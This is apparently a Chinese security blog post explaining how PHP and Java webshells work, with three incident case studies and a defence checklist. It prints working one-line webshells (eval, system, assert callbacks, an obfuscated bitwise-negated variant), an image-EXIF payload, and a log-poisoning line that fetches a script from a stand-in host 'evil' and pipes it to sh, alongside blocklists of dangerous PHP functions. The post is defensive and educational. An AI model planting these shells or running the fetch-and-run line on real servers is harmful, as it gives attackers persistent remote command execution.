Webshell 的底层原理与实战防御:一名安全工程师的笔记

Webshell 的底层原理与实战防御:一名安全工程师的笔记

在每次应急响应中,Webshell 总是那个“阴魂不散”的影子。它体积小、隐蔽高、变种快,常常成为攻击者维持据点、横向渗透、长期潜伏的首选武器。本文结合我近期处置的三起真实案例,把那张截图里的“基本原理”拆碎揉烂,辅以代码、流量、日志等多维视角,帮你彻底看懂 Webshell 的工作机制,并给出可落地的防御清单。


1. 一张图引发的思考

先回顾题图内容:

编号环节关键词
1可执行脚本evalsystempassthru
2数据传递$_GET$_POST$_COOKIE
3执行传递的数据直接执行 / 文件包含 / 动态函数 / 回调函数

看似四行字,却在无数台服务器上掀起了腥风血雨。


2. 环节拆解:从 HTTP 请求到命令执行

2.1 可执行脚本:Webshell 的“心脏”

Webshell 本质就是一个仍能被 Web 服务器解析的脚本文件。常见后缀:*.php*.jsp*.asp(x)*.aspx
攻击者最关注的只有一件事:这段脚本能否把外部输入当作代码运行

2.1.1 直接执行函数
<?php @eval($_POST['x']); ?>

一行代码,直接把 POST 体里的任何 PHP 片段喂给 eval,实现“所见即所得”的命令执行。

2.1.2 系统命令函数
<?php system($_GET['cmd']); ?>

GET /shell.php?cmd=id 时,Web 服务器就把 id 丢给系统 shell,回显结果。

2.2 数据传递:三条主干道

通道优点缺点真实案例
$_GET可嵌入 URL,便于钓鱼长度受限、易被日志记录某电商 0day 事件中,攻击者把 shell 藏在 /search?q=xxx&callback=eval
$_POST长度无限制、可上传二进制需表单或专用工具2023 年某金融系统被上传 300 KB 加密 POST shell
$_COOKIE默认不记录在 access.logCookie 大小受限2024 年红队演练,把 payload 藏在 Cookie: theme=<?php @eval($_POST[1]);?>

2.3 执行方式:四种“骚操作”

2.3.1 直接执行

上面演示的 evalsystem 都是直给式,最暴力也最容易被 D 盾、河马查杀。

2.3.2 文件包含执行

利用本地文件包含(LFI)+ 日志投毒:

<?php include('/var/log/nginx/access.log'); ?>

攻击者先在 UA 头写入 <?php system('wget http://evil/a.sh|sh');?>,随后访问 shell 触发包含,日志里的代码就被成功执行。

2.3.3 动态函数执行
<?php
$a = 'assert';
$a($_POST['x']);
?>

$a 的值可控,静态特征极弱;assert 在早期 PHP 中还能当 eval 用。

2.3.4 回调函数
<?php array_map('assert', $_REQUEST); ?>

array_map 的第二个参数是回调函数列表,把 assert 作为函数名传进去,即可把 $_REQUEST 的每个元素都执行一遍。


3. 实战案例:3 个典型场景解析

场景 A:一句话变形

时间:2025-03
背景:某政府官网 Joomla 插件 1day
payload

<?=~$_GET['🐱'](~$_POST['🐶']);?>

把 GET 参数作为函数名,POST 参数作为参数,再用 ~(按位取反)绕过 WAF 关键字检测。

检测难点

  • 函数名与参数全部做了一次位运算,静态正则极难命中。
  • 使用 Emoji 变量名,某些 IDS 不支持 UTF-8 四字节字符。

防御

  1. 在 WAF 层面对所有请求参数做 Unicode 正规化后再匹配。
  2. 强制 Joomla 关闭错误回显,避免 🐱 报错泄露路径。

场景 B:图片马 + 二次渲染

时间:2025-05
背景:某图片社区允许用户上传头像,后台用 ImageMagick 二次渲染。
攻击链

  1. 攻击者上传合法 JPEG,在 EXIF 字段 UserComment 写入 <?php @eval($_POST[1]);?>
  2. ImageMagick 渲染时未清理 EXIF,文件仍保留 PHP 标记。
  3. 配合 Nginx 解析漏洞 /.php,访问 upload/avatar/123.jpg/.php 即可触发。

防御

  • 上传目录禁用 PHP 引擎(php_flag engine off)。
  • 使用 exiftool -all= file.jpg 强制剥离元数据。

场景 C:内存马 + 无文件落地

时间:2025-06
背景:Spring Boot + Undertow 架构
攻击链

  1. 利用 Spring Cloud Function SpEL RCE 打入内存马。
  2. Webshell 逻辑写在 Filter 里,通过 HttpServletRequest#getParameterMap 取值,反射调用 Runtime.exec()
  3. 重启进程后消失,实现“无文件”。

防御

  • 使用 OpenRASP 将 Filter 链白名单化,未知 Filter 加载即报警。
  • 开启 -XX:+FlightRecorder,内存马常驻堆外时也能被捕获。

4. 防御清单:从部署到运营

维度动作工具/配置示例
静态检测1. 代码层禁用高危函数
2. 部署 WebShell 查杀引擎
php.ini: disable_functions=exec,passthru,shell_exec,system
D 盾 + 河马双引擎
流量检测1. WAF 正则 + 语义分析
2. 统计异常参数
ModSecurity OWASP CRS 3.3
ELK + Kibana: uri.keyword: "*eval*" and size > 200
日志审计1. 长日志留存
2. 异常行为基线
Nginx: log_format with $request_body
Flink CEP: 1 分钟内同一 UA 执行 5 次 system
运行时防护1. RASP 技术
2. 容器沙箱
OpenRASP PHP
gVisor + seccomp
应急流程1. 快照留证
2. 快速封禁 IOC
Velociraptor 实时采集
Nginx deny from x.x.x.x

5. 结语:与攻击者赛跑

Webshell 的进化永不止步,从早期的一句话到如今的内存马、无文件、加密通信,每一次更新都在挑战防御者的想象力。但万变不离其宗:只要我们能监控“数据输入→脚本执行→系统调用”整条链路,就能在攻击者拿到第一滴血前按下暂停键。

希望这篇笔记能给你的防御体系加一点“Buff”。如果你也踩过坑,欢迎在评论区留言,我们一起把对抗经验沉淀为社区财富。


参考资料
[1] OWASP: Web Shell Cheat Sheet
[2] 奇安信《2024 Webshell 年度报告》
[3] 个人应急响应笔记:case-2025-03-joomla、case-2025-05-imagemagick

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_xiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值